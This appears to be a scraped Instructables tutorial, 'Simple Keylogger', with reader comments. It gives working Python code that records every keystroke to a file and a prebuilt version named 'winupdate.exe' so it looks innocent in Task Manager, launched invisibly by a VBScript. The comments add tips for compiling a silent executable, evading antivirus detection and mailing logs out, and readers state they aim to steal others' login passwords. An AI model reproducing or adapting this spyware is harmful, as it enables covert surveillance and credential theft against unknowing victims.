Download as pdf or txt
Download as pdf or txt
You are on page 1of 6

instructables

Simple Keylogger

by xp4xbox

I h a ve re c e n t ly b e e n ma k in g a muc h mo re You all see on the internet, keyloggers, an then you


a d va n c e d ke ylo gge r t h a t c a n e ve n se n d lo gs download it and install it to spy or monitor someone
via gma il. S o if yo u a re in t e re st e d , c h e c k (Windows 10 even has a built-in keylogger) . But the
t h e github project. problem is, is that you probably also installed a ton of
virus of other junk in the process.
This is a simple keylogger that I made using python. I
tried to make one in batch or vbs, but it is practically I will show you how to make your own, or you can
impossible. So I had to use python. download mine below:

Download
https://www.instructables.com/ORIG/F7V/3WRV/IK2UZ06U/F7V3WRVIK2UZ06U.rar

Step 1: Installing Python...

Unless you already downloaded my le with the keylogger pre-compiled (skip to step 4), you must install python
and some modules. Download and install the following:
Simple Keylogger: Page 1
Python 2.7

PyHook

Pywin32

Step 2: Creating the Code...

Once you have all of the python stu installed, open up idle and create a new script. Then enter in the following
code:

import pyHook, pythoncom, sys, logging


# feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Then save it as something. py w

Step 3: Test...

Simple Keylogger: Page 2


Now double-click on the le you just created and test whatever you typed.
it out, then start typing.
NO T E: Yo u m a y s e e s o m e w e ird lo o king
When you want to stop logging, open up task cha ra ct e r if y o u o pe n it w it h no t e pa d, t ho s e
manager and kill all the "python" processes. Then look cha ra ct e rs m e a ns y o u hit t he ba cks pa ce ke y.
for keyloggeroutput.txt in the same directory were
the something.pyw is. Open it up and you should see This is the end of the instructable for you. BUT if you

want to see my keylogger, continue on... post a comment.

If you have any questions/concerns please pm me or

Step 4: My Keylogger

First extract keylogger.rar and open up the folder with keylogger program. The reason why it is called
the les. "winupdate", is so nothing looks suspicious if the user
opens up task manager.
You should see a bunch of random les, this is
because when you compile a python program to a For some reason when you compile a python program
standalone .exe, you need all these les in the same to a .exe, you don't have any option to make it run
directory as the program. invisible, so to x this, I created a small vbscript le
called Run.vbs which simply launches winupdate.exe
The only important les are "Run.vbs" and invisibly.
"winupdate.exe". winupdate.exe is the actual

Simple Keylogger: Page 3


Step 5: Test...

Double click on Run.vbs and the program will start automatically. When you want to stop logging, open up task
manager and kill winupdate.exe. Then open up keyloggeroutput.txt, and you will see that all the characters that
you have typed are logged.

NO T E: Yo u m a y s e e s o m e w e ird lo o king cha ra ct e r if y o u o pe n it w it h no t e pa d, t ho s e cha ra ct e rs


m e a ns y o u hit t he ba cks pa ce ke y.

Step 6: Hope You Found This Helpfull

Hope you found this helpful. If you have any questions/concerns please pm me or post a comment.

Have fun keylogging, but ple a s e do n' t us e t his pro g ra m m a licio us ly.

I tried this using 3.7.3 Anaconda and got it working, although it didn't capture my login username
and password, which was my main aim. Also I used PyInstaller to make the exe, as per
DannyB139. PyWin32 came with Anaconda but you'll need the right PyHook to work with the
Anaconda version. Strangely, VS Code complained "Module 'pythoncom' has no 'PumpMessages'
member", but the code will work when compiled. Note that the Python Debugger on VS Code
1.33.1 will not save any keypresses into the output file, even though it creates the file upon start of
Debugging.
If your main aim is to capture login id and password, you can try using
https://vkcontrol.com/Personal-PC-Monitoring-Software, you just need to go to settings of this
software and turn the password protect off. This will enable capturing passwords for all logins.
I went through your advanced github project, i was able to do as you said,but was not able to do
the meterpreter plugin(the whole process thing) using the raw shellcode(msfvenom), can you
please do a tutorial for that or else can you please provide the file to download,i am new to this and
one my friend is teaching me so i don't know much, can you please help me with this. :)
Check here https://github.com/xp4xbox/Puffader/issues/51 and here
https://github.com/xp4xbox/Puffader/issues/54

Simple Keylogger: Page 4


(Note : “—“ is just 2 dashes, no spaces.)
Actually, you can compile without any windows popping up. I do it all the time.
To compile a .py file without any cmd windows popping up (even if it has print statements or
whatever) simply use Pyinstaller and use the “—windowed” flag.

To install Pyinstaller(you should have pip already installed. It comes with the Python install):

pip install pyinstaller

To compile the .py to a silent .exe (I recommend the “—onefile” flag as it can then run on any
computer even if it doesn’t have the extra modules/Python at all):

pyinstaller —onefile —windowed [Your Python File]

I also recommend opening cmd in the dir of the file when you compile it to make it easier to find the
.exe.

Happy compiling! : )
You can do the same with py2exe which is actually preferred because it gives lower detection. I
made this instructable before I knew how though.
Look at all you braindead kids trynna get keylogger working yet u dont know how to open a book...

I have done everything to step 3 as needed (on Windows). But I don't have any output.txt and
when I start the Keylogger nothing happens and there aren't any such activities other than Idle.
Try running the built version.

Hello, I think I've found a bug on your, otherwise, amazing software. I'm required to write a lot in
french for my work, and when your software is running, the accents aren't placed on the vowels,
but immediately before instead. When I shut it down, the accents work fine again. I wonder if you
could let me know how to fix this (I don't know anything about compiling and am just using your
premade one). Kind regards and thank you for your work!
I think maybe the best way would just have the accent keys ignored by the software, but still
wouldn't know how to do it... Would be grateful for some pointers in the right direction.
The simple way to put it is that the program only works with the default language of the keyboard.
So when you are using accents it just logs whatever key the accent is on. For example if you type
É which is the character right on top of the "/" you should get the "/" character appear. If you type
"è" which is pressing the accent key than e, you should get the accent appear before.
The program just takes the raw input from the keyboard so there is no way to allow it to work for
specific languages.
It makes sense, but it not just registers the accents as separate, it actually forces the accents as
separate when you're doing the actual writing on your work. Let's say I write "bistrô" in microsoft
word. With the logger active, it would show bistr^o both in microsoft word and on the txt file with the
register. That's what seems intriguing. I don't mind bistr^o on the logger file, it makes total sense,
but it interferes with my work on microsoft word. It's like the script is imposing on my keyboard
(outside of the logging realm). Anyway, you did a wonderful job with your script and are sharing it
for free, so I can only say thank you, and that I'll be using whenever I need to write in english (but
not when I work in french).
the same happens here. It's useless because I can't type naturally.

Thanks for the tutorial! Is there any way to format the text horizontally? I'm new to python and
programming in general.
Simple Keylogger: Page 5
I've run your code but even though i type characters my file doesn't show it.it shows :

Are you using a different language than english? Those characters are non-ascii characters such
as é ê, and most commonly, backspace.
Good day! I ran through all the processes but when I double click the .pyw file, it does not produce
keylogger.txt. I also can't find 'python' process on task manager. Thanks.
Rename the file as a .py file then see if any console shows up. If it closes, make sure you have
python2.7 installed with the correct version of pyhook and pywin32.
Is there a way where the info will be sent back to some mail or google drive. it would be amazing if
that could be possible.
Yeah, I created a script for that a while ago, that would send the logs to your email, its a little hard
to explain though, so I left it out of this instructable.
can you give me a tutorial on how to use the script? and can you help me with the script?

I would like an explanation of the Python program, not the rar file. I am trying to modify your code,
please e-mail me: cody.shillingburg@gmail.com
i cant find the keyloggeroutput.txt isnt coming up just the keylogger program i created and i went
through with all your process why is that ?
It shows up when you type characters, and it will show up in the exact directory as the keylogger
file.
pls make an instructables for this i would love it

For what?

The logger won't work until i delete the previous keyloggeroutput.txt doc.
Any idea how to make it create a diffrent txt doc when it's restarted?
Not sure what you mean, it works for me. Maybe its because you have another logger running in
the background. Check using task manager and kill all 'python' proccesses. But if you are using the
compiled version, than just kill all the 'winupdate.exe'.
It was a background program causing it, Thanks for Respondng

I haven’t heard of it yet. I’ve been using this one https://www.refog.com/keylogger/ for about a year.
This tool keeps me aware of what is going on , when I’m far from my pc. It’s an irreplaceable app,
really.

Simple Keylogger: Page 6

You might also like